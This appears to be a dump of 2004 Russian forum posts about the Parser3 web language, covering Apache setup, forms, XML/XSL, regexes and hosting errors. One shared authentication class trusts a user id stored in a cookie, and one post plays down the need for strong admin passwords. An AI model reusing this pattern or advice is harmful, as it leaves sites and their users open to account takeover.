Если Миша [url=\"http://www.parser.ru/forum/?id=28825\"]правильно разгадал ваши замыслы[/url] - вам в $form:file приходит сам файл (объект типа file), а не путь до него (объект типа string)."
"28841","Это не первые мои вопросы - я действительно до этого под каким-то другим лоджином всех доставал :)\
\
Михаил. Вы - профессиональный программист. Вы творите в ведущей Студии нашей страны. Вам нельзя мерять всех остальных своей меркой. Есть колоссальный пласт _потенциальных_ пользователей Парсера, которые только-только начинают свой творческий путь. Ну давайте будем более терпимы? Я лично в вопросах начинающих, у которых не получается запустить инструмент и произвести его первоначальную отладку, как правило вижу не наглое желание нахаляву быстренько заставить всех напрячься и запустить всё, а иной раз просто отчаяние сквозит в их постах :/\
\
Вы помните чем закончился мультик с двоими братками из ларца, одинаковыми с лица? ;)"
"28842","Вы как-то умудрились затереть в своём коде самую суть :)))"
"28843","Кто-нибудь делал уже? \
Неохота писать такую примитивную вещу.. ;)"
"28845","1. создал юзера и группу test (необязательно, если у вас хосты не под разными юзерами)\
2. добавил этих двух в /chroot/httpd окружение (необязательно, если у вас нет 1 или Apache выполняется не в chroot окружении)\
3. добавил в конец конфига Апача:\
\
# test.vosnet.ru\
<VirtualHost *>\
                DocumentRoot \"/www/vhosts/test.vosnet.ru/html/\"\
                ServerName \"test.vosnet.ru\"\
                ServerAlias \"www.test.vosnet.ru\"\
                user test\
                group test\
                ErrorLog /www/vhosts/test.vosnet.ru/logs/error_log\
                CustomLog /www/vhosts/test.vosnet.ru/logs/access_log combined\
                <IfModule mod_alias.c>\
                    ScriptAlias /cgi-bin/ \"/www/vhosts/test.vosnet.ru/cgi-bin/\"\
                    <Directory \"/www/vhosts/test.vosnet.ru/cgi-bin\">\
                        AllowOverride None\
                        Options None\
                        Order allow,deny\
                        Allow from all\
                    </Directory>\
                </IfModule>\
                <IfModule mod_dir.c>\
                    DirectoryIndex index.html index.phtml\
                </IfModule>\
                AddHandler parser3-handler html\
                Action parser3-handler /cgi-bin/parser3.cgi\
                <Files ~ \"\\.p$\">\
                    Order allow,deny\
                    Deny from all\
                </Files>\
</VirtualHost>\
\
4. создал каталоги\
/www/vhosts/test.vosnet.ru\
/www/vhosts/test.vosnet.ru/html\
/www/vhosts/test.vosnet.ru/logs\
/www/vhosts/test.vosnet.ru/cgi-bin\
\
5. Кинул из свежескаченного с сайта parser3_1_2_freebsd49R_cgi.tar.gz\
parser3.cgi в /www/vhosts/test.vosnet.ru/cgi-bin\
\
6. Кинул из свежескаченного с сайта parser3conf_1_1_20031106_unix.tar.gz\
auto.p и две папки charser и lib туда же в /www/vhosts/test.vosnet.ru/cgi-bin\
\
то есть в cgi-bin оказались auto.p charsets lib parser3.cgi\
\
7. Кинул из свежескаченного с сайта parser3sql_1_2_freebsd49R_mysql.tar.gz\
libparser3mysql.so в папку /www/vhosts/test.vosnet.ru/cgi-bin/lib и стер там текстовик насчет того, что эту so библиотеку действительно нужно туда\
\
8. надо теперь всю папку под юзера завести, чтобы не орал на safe mode и для вообще так нада\
chown -R test:test /www/vhosts/test.vosnet.ru/\
\
9. вообще если я не забыл ничего должно работать уже... потом добавление юзера в mysql и создание базы mysql... правка auto.p  на предмет задания кодировки выдавания юзеру (вообще 1251 стоит всегда), кодировки файлов на сервере (стоит 1251, я меняю на КОИ-8), и, СЛАВА ПАФУ, кодировки базы на 1251, получилось так примерно (это конец auto.p из папки cgi-bin так выглядит у меня щас):\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
#^unhandled_exception_release[$exception;$stack]\
\
# То есть тут я задал для удобства отладки чтобы сразу на экране видеть где ошибка, весьма рекомендую для начинающих, то есть просто переставьте комментарий с _debug метода на _release, чтобы _debug получился раскомментированым (работающим)\
\
^unhandled_exception_debug[$exception;$stack]\
\
\
@auto[]\
#source/client charsets\
#$request:charset[windows-1251]\
#кодировка, в которой файлы лежат на диске сервера у меня\
$request:charset[koi8-r]\
#в этой кодировке Парсер отдает клиенту страницу\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
# Так я подключаюсь к базе данных\
$SQL.connect-string[mysql://dbuser:dbuserpassword@[/tmp/mysql.sock]/databasename?ClientCharset=cp1251]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
\
10. Так что сложного ничего, надеюсь ничего не забыл... а!!! забыл!!! Апач-то надо перезагрузить! и прописать в DNS этот новый сайт, чтобы заработало... и DNS сервер тоже перезагрузить... но это я всегда забываю и вспоминаю когда начинаю удивляться где сайт-то, собственно?"
"28847","Такая ситуация:\
Файл достаточно большой (строк примерно 50 тысяч, например)\
Некоторые строки повторяются\
Как написать такой макрос, чтобы оригинальные строки оставались, а повторяющие их удалились\
Заранее благодарим..."
"28849","расскажите чайнику как с помощью XML/XSL создавать html-формы? И чтоб поддерживалось большинством браузеров. т.е. ie6,ie5,mozilla."
"28850","[code]<input type=\"file\" name=\"file\">[code]\
Я вообще не понимаю, что надо сделать с этим файлом? Сохранять на сервер в указанный файл не нужно, а если так:\
[code]^if(def){\
	^form:file.load[binary;А что сюда вставлять?]\
}\
И как эту строчку вставить в, чтобы его отправить?\
[code]$.file[][/code]"
"28851","\"Регулярные выражения заменить на время отпуска нерегулярными, беспорядочными связями\""
"28853","http://xml.nsu.ru/ - очень хороший ресурс для изучения вопроса.\
\
XML, XSL, SQL, Xpath, DTD, XSD, DOM, Xforms, SOAP, JavaScript, PHP - всё обо всём."
"28855","Установил парсер в cgi (она у них на одном уровне с www). В www положил .htaccess, где назначил парсер обработчиком по абсолютному пути: /home/a/annie.12.com1.ru/cgi/parser3.cgi\
Выдает, ошибку 404, - не может найти index.html \
В логах пишет, что\
File does not exist: /home/home/a/annie.12.com1.ru/cgi/parser3.cgi/a/annie.ru/WWW/index.html\
\
У них кривой document root? Как с этим бороться? Может кто знает?"
"28856","вот именно класс позволяет, как я понимаю, создать временное пространство чтоли переменных действующих в этой одной области, ну и т.д. здесь же это вроде невозможно, за исключение локальных переменных метода, для класса вроде такого нет, Я конечно могу и ощибаться ... но пока понимаю так"
"28857","С основами знаком. В явном виде упоминаний о формах в xml не встречал. Ну по логике вещей я, конечно, могу сам в xml выстроить дерево типа \
<форма action=ляляля/>\
<элементы управления>\
поле тыры-тыры\
чекбокс ...\
кнопка ...\
</элементы управления>\
</форма>\
 а потом это преобразовать c помощью xsl в конструкцию <form...></form>\
\
или я усложняю?"
"28858","Вообще, на сколько я изучал эту тему и успел в ние вникнуть, XML&XSL имеют свою идею применения. Т.е. данный решение приспасабливается большей мере к набору данных и удобной работе с ними. Считайте что это та же БД, только данные удобно размещены в виде дерева. Плюч XSL с решением шаблонов и прочих фишек позволяет распихивать данные из XML в сформированные HTML структуры XSL'еса. Во загнул на уровне десиртации, надеюсь это соответствует действительности но если что подправят.\
\
Т.е. вот создать тот же форум и т.п. это весьма удобно с использованием этих решений, а вот те же разделы: \"О компани\" встречающиеся на сайтах уже врятли построиш с XML&XSL т.к. там данные идут в разброску то строки, то списки, то рисунки. Хотя утверждать последнее небуду :))"
"28859","Неспорю есть прекрасный класс auth.p написанный mish'ей с серьезными возможностями и наворотами, реально используется и т.д. Однако посмотрев его возможности я решил созтать чуть меньше и проще ну и использовать у себя, вот хочу поделится, а вдруг кому то интересно будет :))\
\
[code]\
CLASS\
auth\
\
@create[]\
\
@login[]\
if(def $cookie:uid){\
	$u[^table::sql{select id from users where id = '$cookie:uid'}]\
}{\
	$u[^table::sql{select id from users where email = '$email' and pass = '$pass'}]\
	^if($u){\
		$cookie:uid[\
			$.value[$u.id]\
			$.expires[session]\
		]\
	}\
}\
$result[$u]\
\
@logout[]\
^if(def $cookie:uid){ $cookie:uid[] }\
[/code]\
\
как видите все основано на БД [b]users[/b], где пользователи хрянятся и [b]ID[b] (создаваемый через [b]uuid[/b] или тому подобное) хранящийся в куках и позволяющий читать данные об юзере.\
\
метод login позволяет одновременно и получать данные об пользователе и проверять на существование :)"
"28860","Я сталкивался на МастерХост. Там каталог /cgi-bin/ на том же уровне, что и /www/. DocumentROOT указывает на: /home/<путь>/www Но адресация каталога cgi-bin выглядит как лежащая под корнем: /cgi-bin/\
\
Попробуйте в .htaccess написать без всяких абсолютных путей:\
\
AddHandler parsed-html html\
Action parsed-html /cgi/parser3.cgi"
"28861","заключается в слове \"пожалуйста\", используемом в заголовка писем.\
\
читать документацию, FAQ и прочее = проявлять уважение к людям, потратившим усилия на их создание.\
\
не читать их = проявлять НЕуважение к ним.\
\
\
не очень понимаю, зачем этот разговор.\
считаю тему закрытой."
"28862","и, в следующий раз, почитайте документацию?\
\
вам в $form:file приходит уже файл, никакой не путь к нему.\
\
задумайтесь на минуту, о каком пути может идти речь, если пользователь выбирает файл со [b]своего[/b] диска, а ваш скрипт работает на сервере, и никакого доступа к диску пользователя не имеет?"
"28863","Все идеально запустилось после того, как в .htaccess прописал другой путь:\
вместо /home/a/домен.цифра.com1.ru/cgi/parser3.cgi надо прописывать /a/домен.цифра.com1.ru/cgi/parser3.cgi \
А первая строка - от них. Дурят нашего брата :о)"
"28864","что делаю:\
нажимаю на кнопку \"редактировать новость\"\
\
что получил:\
странное отображение новости в textarea - в базе текст лежит разбитый пустыми строками на абзацы, в Сафари пустых строк нет - текст слитный идет, при нажатии \"сохранить\" - никакого действия нетю\
\
что хочу:\
код обычный для таких интерфейсов\
[code]\
^if(def $form:edit && $form:id){\
 ^if(def $form:header && def $form:text){\
  ^void:sql{update news set header='$form:header', text='$form:text' where id='$form:id'}\
 }\
$response:location[http://$env:SERVER_NAME/cms/news/]\
}\
[/code]\
 - это же нормально обрабатывается, как надо, во всех остальных браузерах(Мозила for linux/win/mac + IE win/mac)\
\
хочу узнать это приколы только этого браузера?"
"28865","[code]\
sort ваш_файл.txt|uniq >ваш_файл2.txt\
[/code]"
"28866","то, что вы помещаете в нелокальную переменную, вы помещяете в поле вашего объекта.\
\
если используется статический метод, вы помещаете в поле вашего класса. \
\
другими словами:\
динамический метод: поле объекта\
статический метод: поле класса (статическое поле).\
\
\
просьба: прочитите докуметацию, подумайте, попробуйте, потом задайте ваши вопросы, если они останутся."
"28867","ключевое слово: textarea\
автор: paf"
"28868","Уважаемый egr перестал выкладывать линуксовые сборки Парсера.\
Начал сам собирать. Все, кроме MySQL, собралось великолепно. \
\
Структура каталога\
\
/home/dns/parser3project\
parser3\
sql/mysql\
\
Делаю ./configure --disable-safe-mode && make && make install \
в parser3\
\
Потом, руководствуясь ридми из SQL делаю то же самое в папке mysql\
оно рассказывает про какую-то ошибку в исходниках и умолкает.\
Есть подозрение, что я что-то упустил :)"
"28871","Что это такое я прочитал, но нигде не указано как ее правильно обработать.\
\
Является ли решение:\
[code]\
^try{\
   контент страницы\
}{\
   $exception.handled(1)\
}\
[/code]\
правильным, для устранения проблемы?\
\
P.S. за неделю по 400-500kb подобных ошибок огребаю, надоело чистить."
"28872","Кто-нибудь собирал уже обработчик входящей почты?\
\
Вроде с появлением класса [i]console[/i] такое стало возможным..."
"28873","не нужна страница пользоватлю фиг с ним.\
в error_log apache такого у вас тоже полно.\
\
журналы у вас rotat'ятся ведь."
"28874","но так письмо придёт в неразобранном виде,\
возможно mime-encoded,\
надо во всём этом разбираться.\
\
в исходниках parser встроена поддержка $mail:received\
если собрать из исходников, можно получить уже разобранное входящее сообщение.\
\
пока возможность не очень востребована, поэтому есть мелкие недоработки (в частности, разнобой в работе с кодировками) = не включена в release."
"28875","Или лучше может просто лог резать при достижении определенного объема (скажем килобайт 100)?"
"28876","Приём почты - дополнительные хорошие и, имхо, нужные возможности. Автоматизация работы со списками рассылок (подписка/отписка/установление параметров и форматов), фильтрация спама (чума 21 века), интерактивная автоматическая работа интернет-магазина с заказчиками (подтверждения, уведомления, уточнение заказа etc.). В CVS это хорошо, но не всем доступно для понимания."
"28880","Привет!\
Примерно с неделю уже наблюдаю периодически на своем сайте вместо собственно страниц стандартное сообщение об ошибке 500.\
В логах апача при этом валятся кучами такие строки:\
[Fri Apr 16 13:10:32 2004] [error] [client 212.14.170.225] (11)Resource temporarily unavailable: couldn't spawn child process: /home/httpd/cgi-bin/parser3.cgi\
[Fri Apr 16 13:10:34 2004] [error] [client 212.14.170.225] (11)Resource temporarily unavailable: couldn't spawn child process: /home/httpd/cgi-bin/parser3.cgi\
[Fri Apr 16 13:10:34 2004] [error] (11)Resource temporarily unavailable: fork: Unable to fork new process\
[Fri Apr 16 13:10:35 2004] [error] [client 212.14.170.225] (11)Resource temporarily unavailable: couldn't spawn child process: /home/httpd/cgi-bin/parser3.cgi\
[Fri Apr 16 13:10:37 2004] [error] [client 212.14.170.225] (11)Resource temporarily unavailable: couldn't spawn child process: /home/httpd/cgi-bin/parser3.cgi\
\
Жалобы хостеру ни к чему не привели (просто игнорирует и не знаю как его достать). Я так понимаю, что виноват не парсер, а сам веб-сервер или же это уже на уровне ОС ошибка?\
Не подскажете, могу ли я как-то поспособствовать решению проблемы или же нужно дальше долбать хостера?\
\
З.Ы.: ошибка возникает спонтанно - у разных пользователей в один и тот же момент вренемени может возникать, а может и нет...\
Периодичность - раз 10..15 в час, но может отработать и целый день без глюков..."
"28881","Возможно просто превышается лимит одновременно запущенных процессов. Надо глядеть характеристики тарифного плана и если этот параметр невелик, а посещаемость высокая, то ... ясно что."
"28882","Здравствуйте!\
Почему: @load[]\
\
^MAIN:dbconnect{\
	$nkinfo[^table::sql{\
exec sp_get_MT @reesdate='2004-04-08',@nkalias=ast_srk\
}]\
	}\
возвращает пустую неименованную таблицу, а выполнение из Query Analizer: \
exec sp_get_MT @reesdate='2004-04-08',@nkalias=ast_srk\
\
выдает нормальный результат из 352 строк?"
"28883","Хостинг www.mtw.ru\
Тарифный план: Профессионал + (Unix) \
Хоть там и не написано конкретное кол-во процессов, ограничений особо быть не должно. Может уже сам сервак не вытягивает?"
"28884","Да, это, пожалуй, оптимальный способ. Только не проще ли вместо того, чтобы писать так:\
\
^if(def $form:do){\
...\
}\
<form ...>\
  <input type=\"hidden\" name=\"do\" value=\"do\" />\
  <input type=\"submit\" name=\"blabla\" value=\"Отправить\" />\
</form>\
\
писать так:\
\
^if(def $form:blabla){\
...\
}\
<form ...>\
  <input type=\"submit\" name=\"blabla\" value=\"Отправить\" />\
</form>\
\
?"
"28885","А кстати это можно посмотреть в какой-нибудь переменной?\
У меня есть shell-доступ, причем root :) могу поменять какую надо переменную, только какую?"
"28886","P.S. и не утверждал, что приведенный выше способ хороший. по моему он плохой хотя и имеет свою область применения, но остальные ещё хуже. значительно лучше (IMHO) генерация uid и ^try{}{} при добавлении в БД (поиск по форуму рулит)"
"28888","Так, мелоч - IE 5.2 для мака большую часть сайта показывает на непонятном язые, причём половину страницы читать можно, а вот вторую неочень.\
\
разумеется я о www.parser.ru"
"28889","и вообще посмотреть, как работает код.\
надо, чтобы работал быстро. ведь cache = далеко не панацея."
"28891","parser честно пытается выполнить запрос, получив recordset.\
если не получается recordset, просто выполняет, и тогда вы получите пустую таблицу.\
\
так сделано, поскольку мне не ясно, как отличить exec, который вернёт таблицу от того, который её не вернёт.\
\
вывод: ваш запрос не срабатывает и в ODBC журнале (control panel...data sources, выбираете ваш datasource, и включаете журнал) будет видно, что и почему не срабатывает.\
\
ODBC мы в студии используем очень мало, поэтому подобные тонкости никого не беспокоят."
"28893","Насчет \"написать слово в input type=\"text\" и отправить форму нажатием Enter-а\" -- а что Вы имели в виду? Что в таком случае form:submit будет андефайнд? Я только что попробовал -- всё работает (в мозилле и в ie).\
\
\
[i]значительно лучше (IMHO) генерация uid и ^try{}{} при добавлении в БД[/i]\
\
Ну не знаю. Нашел сейчас то, что Вы имеете в виду (http://www.parser.ru/forum/?id=27823), но не могу назвать это элегантным решением. Если только дублирование сообщений уж ОЧЕНЬ критично."
"28895","[quot]\
Насчет \"написать слово в input type=\"text\" и отправить форму нажатием Enter-а\" -- а что Вы имели в виду? Что в таком случае form:submit будет андефайнд? Я только что попробовал -- всё работает (в мозилле и в ie).\
[/quot]\
\
наверное вы нажали не просто Enter когда курсор стоит в поле text а TAB и затем Enter (перешли на кнопку submit)\
\
если не нажимать кнопку, то $form:submit будет !def\
\
[quot]\
не могу назвать это элегантным решением\
[/quot]\
\
на вкус и цвет... [b]мне[/b] нравится когда вместо кучи проверок есть один ^try{}{}\
\
P.S. собрал в кучку и [url=\"/examples/feedback/\"]добавил в примеры[/url]"
"28896","Вылезает вот такая хрень при использовании в auto.p вещей типа\
\
@USE\
/classes/lib.p\
\
\
[code]\
/usr/local/apache/htdocs/classes/lib.p\
\
read failed: No such file or directory (2), actual filename '/usr/local/apache/htdocs/classes/lib.p'\
[/code]\
\
Если убрать все работает!!! Что это может быть?"
"28897","#2 Проверьте наличие lib.p в /usr/local/apache/htdocs/classes/ и права доступа к нему"
"28898","попробуйте вместо\
[code]$.file[$form:file][/code]\
написать следующее:\
[code]^if(def $form:file && $form:file is file){$.file[$form:file]}[/code]\
если всё равно не будет работать так как вы хотите, приведите (copy/paste) [b]весь[/b] код, любопытно было-бы наконец увидеть чего вы там такого наворотили  :)"
"28899","P.S. получите [url=\"/examples/feedback/\"]очередное 2*2[/url]"
"28902","[i]наверное вы нажали не просто Enter когда курсор стоит в поле text а TAB и затем Enter (перешли на кнопку submit)[/i]\
\
Должен сказать, что в мозилле всё работает даже если enter нажимать сразу из текстового поля. А вот в IE -- нет, тут вы правы. Спасибо, это важно: я, получается, всегда делал не очень-то корректно.\
\
\
P.S. В примере (http://www.parser.ru/examples/feedback/) непонятно, откуда $form:action eq \"done\" возьмется там вначале."
"28903","Вот такое я узрел в логе.\
Парсер сомосборный.\
[Fri Apr 16 22:31:41 2004] /image.html?id=2317: /var/www/html/image.html(2:2): '/var/www/cgi-bin/lib/libparser3mysql.so' /var/www/cgi-bin/lib/libparser3mysql.so: undefined symbol: __gxx_personality_v0 [<no type>]"
"28908","надеялся увидеть:\
\
Есть совпадение\
\
что я делаю не так?\
:)"
"28910","Не сочтите за наглость :)\
\
--[i]Перебор строк таблицы в определенном интервале[/i] \
[code]\
^table.rows(12;17){\
	$table.column_name\
}\
[/code]\
\
или модернизация [b]^menu[/b] \
[code]\
^table.menu(12;17){\
	$table.column_name\
}\
[/code]\
\
Возможно, не только номера строк, но и какое-либо условие сделать в качестве фильтра, но, имхо, это лишнее.\
\
--[i]Стандартная HTTP-авторизация[/i], (для которой, возможно, юзер должен будет настроить передачу соответствующих данных parser'у).\
\
--[i]Масштабирование изображений[/i], желательно с выбором метода интерполяции. \
\
--[i]Модернизация ^file:list[/i]\
\
--[i]^file:dirname[/i] замена обратных слешей на простые при выводе результата работы этой функции.\
\
--[i]Получение почты[/i]. [POP3|IMAP] (но это, имхо - уже жирновато будет ;-)\
\
Если какие-либо из этих предложений/предположений нужно дополнительно пояснить - это сделаю с радостью :-)"
"28913","Столкнулся с проблемой неотображения пробелов в письмах в поле from. Нашел на форуме, что необходим оператор taint -- но и с ним почему-то работает на всё гладко. В приведенном примере пробел между словом \"[форум]\" и последующими словами есть -- а пробелы внутри $author съедаются. То есть тема выглядит, например так: \"[форум] АлександрПушкин\", а в теле письма правильно написано: \"проверка: Александр Пушкин\".\
\
^mail:send[\
   ...\
   $.from[^taint[uri][[форум] $author] <$author_email>]\
   $.text[проверка: $author]\
]\
\
В чем может быть дело? Спасибо."
"28915","http://www.parser.ru/admin/"
"28916","Насколько это не умно:\
положить систему администрирования в какую-нибудь папочку вроде /WqcGbnm7_0/ ?"
"28917","Нужен login и пароль :/\
\
Грамотно сделано, надо признать :)"
"28918","А потом, с чужого компьютера, вы захотите войти в режим администрирования и что-то на своём сайте изменить. Как у вас называется папочка - вы вряд-ли вспомните.\
\
Лучше расположить систему в простой и понятной папке типа /admin/, /adm/ и т.п. Имя для входа и пароль тоже не стоит усложнять, потому как вы явно сайт не для Белого Дома в Вашингтоне делаете и никто и никогда в закрытую часть сайта ломиться не будет - 100%. А если и вломится - всё можно на следующий день восстановить с бакапов провайдера. Не стоит разводить лишнюю паранойю :)"
"28922","Можно ли с помощью парсера чтонибудь делать с этими файлами. Именно XLS таблицы Excel. Подскажите очень нужно."
"28923","можно собрать: http://www.parser.ru/forum/?id=19954\
можно разобрать: http://www.parser.ru/forum/?id=19783"
"28924","А как сделать, чтобы у меня такая же штука появлялась?"
"28925","Ну например как считать столбец или строку если это возможно ?\
\
Или ещё лучше преобразовать в xml ?"
"28926","[code]\
$photo[^image::load[http://informer.gismeteo.ru/27549-4.GIF]]\
[/code]\
получаю ошибку\
can not open 'http_3A//informer.gismeteo.ru/27549-4.GIF'\
Как быть?"
"28927","Для загрузки с удаленного сервера можно использовать ^file:load."
"28928","сразу ошибка 500"
"28930","Когда задаешь [b]$response:charset[windows-1251][/b], парсер вставляет тег\
[code]<meta http-equiv=\"Content-Type\" content=\"text/html; charset=WINDOWS-1251\">[/code]\
...но не добавляет в конец закрывающий слеш.\
Придется, видимо, перекрыть класс, но пора, имхо, закрывать непарные теги по умолчанию.\
\
P.S. Давно мечтаю о [i]предварительном просмотре[/i] для новых сообщений. А то, бывает, ошибку только после отправки замечаешь."
"28931","В папку /admin/ кладешь файл .htaccess со следующим содержанием:\
[code]\
AuthUserFile /полный/путь/к/файлу/с/паролями\
AuthGroupFile /dev/null\
AuthName \"Твоя надпись для приветствия\"\
AuthType Basic\
require valid-user\
[/code]\
Защити файл с паролями. Ессно все работает под Апачем. Подробнее -ищи в сети доки по нему. Их до жопы."
"28936","http://www.yandex.ru/cgi-bin/urlstat?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%70%61%72%73%65%72%2E%72%75%2F\
\
\"ВНИМАНИЕ! Сервер не выдает дату последнего изменения документа!\""
"28937","Нет, не я сам вставляю. Нешто я своих тегов не знаю?\
Да и [b]windows-1251[/b] я бы написал lowercase'ом. Привычка-с, знаете ли.\
А проблема в том, что [i]\"все же правильно написано\"[/i], если HTML 4.01 transitional DTD объявляется.\
А мне Strict нужен, чтобы\
[code]<meta http-equiv=\"Content-Type\" content=\"text/html; charset=WINDOWS-1251\" />[/code]\
или\
[code]<meta http-equiv=\"Content-Type\" content=\"text/html; charset=WINDOWS-1251\"></meta>[/code]\
Вот."
"28938","...ибо сайты в большинстве динамические, а выдавать заголовки далеко не всякий хочет/может/знает_как. А 90% остальных просто ленятся/жадничают_ресурсами."
"28939","Я у себя всё это назначаю в ручную, и ни каких дублей не замечал.\
В случае если этого не назначаю, то парсер этого не выводит.\
В случае если @main[] пуст, то парсер выводит пустую страничку (ну или почти пустую т.к. html он формирует)\
Если мене не изменяет память этот html настраивается в настроечном auto.p\
\
зы: Сдаётся мне что этот тег прописан у вас в коде, а где - разбираться вам"
"28940","...если указать method=\"html\" для вывода:\
[code]\
^transformedDoc.string[\
	$.method[html]\
]\
[/code]\
\
за ним еще один грешок водится: если, например\
[code]\
<xsl:output\
    doctype-public=\"-//W3C//DTD HTML 4.01//EN\"\
    doctype-system=\"http://www.w3.org/TR/html4/strict.dtd\"\
/>\
[/code]\
то в поток пойдет\
[code]\
<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\
[/code]\
а слово HTML должно быть UPPERCASE'ом для [i]HTML[/i] DOCTYPE. Это для [i]xml[/i] lowercase'ом нужно."
"28941","в логах сервера\
CORD_cat_char_star(,y,) y==\"\"\
Premature end of script headers: /usr/local/apache/cgi-bin/parser3.cgi"
"28942","Если я не ошибаюсь, то поисковые машины в сети учитывают частоту смены дат отдельных документов. Те что часто сменяются - чаще и индексируют. Соответственно, на \"не ленивых\" сайтах в поисковике информация всегда будет достаточно актуальной."
"28943","> а слово HTML должно быть UPPERCASE'ом для HTML DOCTYPE. Это для xml lowercase'ом нужно.\
\
Для HTML это не имеет принципиального значения, и то и то пройдут валидацию. С чего вы решили что это важно?"
"28944","Когда задаешь $response:charset[windows-1251], парсер  не должен вставлять никакие теги. Что же касается XSLT трансформа, разумеется если вы делаете метод вывода html, он и не должен закрывать никакие теги, которые согласно HTML стандарту закрывать не требуется. Если нужно, делаете метод вывода XML"
"28945","возможно, драйвер вы не собирали сами?"
"28946","коротко: пока нельзя, но легко можно сделать, чтобы было можно. может вам не лень?"
"28947","по умолчанию, всё работает.\
если не работает, bug.zip мне в почту, с описанием, чего вы ожидаете."
"28948","я помню, что чинил подобное.\
в 3.1.2 не воспроизводится на win32/freebsd."
"28951","попробуйте включить это, возможно, что-то изменится к лучшему.\
не поможет, пишите все детали.\
\
[code]\
[paf@six] ~> cd parser3project/parser3/\
[paf@six] ~/parser3project/parser3> ./configure --help|grep c++\
  --with-dynamic-stdcpp   link libstdc++ dynamically\
                          by default, libstdc++ is linked statically\
[/code]"
"28952","только не говорите - \"читай доку про match\"\
лучше напишите пример :))\
\
[code]\
if( ereg( \".*<(.+)>\", $address, $regs ) ) {\
	$address = $regs[1];\
}\
if(ereg( \"^[^@  ]+@([a-zA-Z0-9\\-]+\\.)+([a-zA-Z0-9\\-]{2}|net|com|gov|mil|org|edu|int|info|biz|coop|aero)\\$\",$address) ) \
	$result[$address]\
}{\
	$result[]\
}\
[/code]"
"28953","если мыльный адрес, то это делается гораздо проще.\
[code]\
^if(^email.match[^^\\w+([.-]?\\w+)+\\@\\w+([.-]?\\w+)*\\.[a-z]{2,4}^$][i]){есть адрес}{нет адреса}\
[/code]"
"28954","В обработчике, указанном в тэге form проверяется правильность заполненности полей формы. Если есть ошибка, то нужно вернуться на страницу с формой, выдать ошибку и чтобы не заполнять данные второй раз, заполнить форму текущими значениями. Способ, который нашел в форуме, автор [b]Luzhnikovskiy[/b]:\
\
[code]\
$POSTbody[field1=$form:field1&field2=$form:field2]\
$f[^file::load[binary;file_with_form.html][\
$.method[POST]\
$.timeout(60)\
$.headers[\
$.Content-type[application/x-www-form-urlencoded]\
$.Content-length[^POSTbody.length[]\
\
$POSTbody]\
]\
]] \
\
[/code]\
\
Это единственный способ, или есть варианты?\
\
Просто [b]Luzhnikovskiy[/b] пишет, что нелатиница может побиться, а у меня значения полей именно нелатиница."
"28955","Я просто взял готовый чужой код и пытался разобраться, почему когда делаешь match всегда получается \"false\". Хотя на пхп этот код вроде как коректно работает."
"28956","http://www.parser.ru/examples/lib/,\
[code]\
^if(^is_email[$form:email]){valid}{invalid}\
[/code]"
"28957","Есть страница, содержащая html таблицу.\
Страница генерится автоматически (результат поиска).\
Можно ли сделать ссылочку, по которой эта таблица будет открываться в EXCEL?"
"28958","http://www.parser.ru/forum/?id=26141\
Причем не обязательно tab delemited: современные excel пытаются понимать даже css и применть соответствующее форматирование таблицы."
"28959","Написал такой код:\
[code]\
@counter[]\
\
^if(def $cookie:counter){\
	^if(def $cookie:today){\
	\
$count[^table::load[/counter.cfg]]\
^count.menu{\
$str[count_id	all	today	hit\
1	$count.all	$count.today	^eval($count.hit+1)\
]	}\
\
^str.save[/counter.cfg]\
	\
	}{\
$cookie:today[\
		$.value[on]\
		$.expires(1)\
	]\
$count[^table::load[/counter.cfg]]\
^count.menu{\
$str[count_id	all	today	hit\
1	$count.all	^eval(${count.today}+1)	^eval($count.hit+1)\
]	}\
\
^str.save[/counter.cfg]\
	\
	}\
}{\
\
$count[^table::load[/counter.cfg]]\
^count.menu{\
\
$str[count_id	all	today	hit\
1	^eval(${count.all}+1)	^eval(${count.today}+1) ^eval($count.hit+1)\
]\
^str.save[/counter.cfg]\
$cookie:counter[on]\
$cookie:today[\
		$.value[on]\
		$.expires(1)\
	]\
}\
\
}\
\
\
\
$count[^table::load[/counter.cfg]]\
^count.menu{\
<br /> \
all: ${count.all} |\
today: ${count.today}<br />\
hits: ${count.hit}\
}\
[/code]\
\
У меня локально все в норме, а в реальности (http://sloc.ru) какая-то лабуда.\
Насколько он нормальный (не загружает сервер)?"
"28960","Вообще-то этот пример - загрузка чего-то по HTTP с передачей POST-параметров.\
Форум надо читать в другом месте - http://www.parser.ru/forum/?id=28779"
"28961","но ни водном сообщении, ничего конкретного так и не было сказано. \
Например:\
[code]\
AuthUserFile полный путь (куда?)\
[/code]\
Одни пишут, это полный путь к .htpassw с паролями, другие - htpassw.exe. Так куда ж, все-таки должен указывать этот путь?"
"28964","Практически вся документация по Apache написан на английском, и поэтому мне мало, что понятно. От туда видно только, что путь ведет к /passwd"
"28965","Знаете Константин, если вы собираетесь серъезно заниматься всякими там информационными технологиями и тем более вебом, английский нужно учить. И нам такие агрументы (дока по-английски) приводить не стоит."
"28968","А что в этом коде неправильно? MSIE 6.0 сайт открывает (но счетчик показывает неправильно), для Opera 7 и Netscape 7, Parser пишет ошибки."
"28970","а http://validator.w3.org/ не ругается, он круче."
"28972","Все заработало. Теперь запускается на любой системе."
"28973","Вопрос философский: насколько целесообразно при использовании технологии Parser3 биться за отделение контента от методов его обработки и вывода? На примере последнего примера, появившегося в \"примерах\" (дико сильно извиняюсь!) http://www.parser.ru/examples/feedback/, можно понять, что как ни крути, но зачастую свести всё к XML, с последующим XLT преобразованием наверное можно, но не является-ли это некой самоцелью? Можно сперва сделать универсальный обработчик формы любой сложности, вывести его в отдельный класс, а затем, изготовив таблицу с параметрами формы, передавать её в виде параметра при вызове методов класса формы. Можно, но правильно-ли это?\
\
С одной стороны - на фронте данного сайта задекларировано, что \"...Parser в известном смысле — макроязык, в нём нет оператора print; весь текст, набранный в исходном файле, суть большой оператор print...\", а с другой - постоянно натыкаешься на призывы разделять контент и его обработку (привет Егорову!).\
\
Очень интересует, какова устоявшаяся практика в отношении данного вопроса бытует в СТУДИИ?"
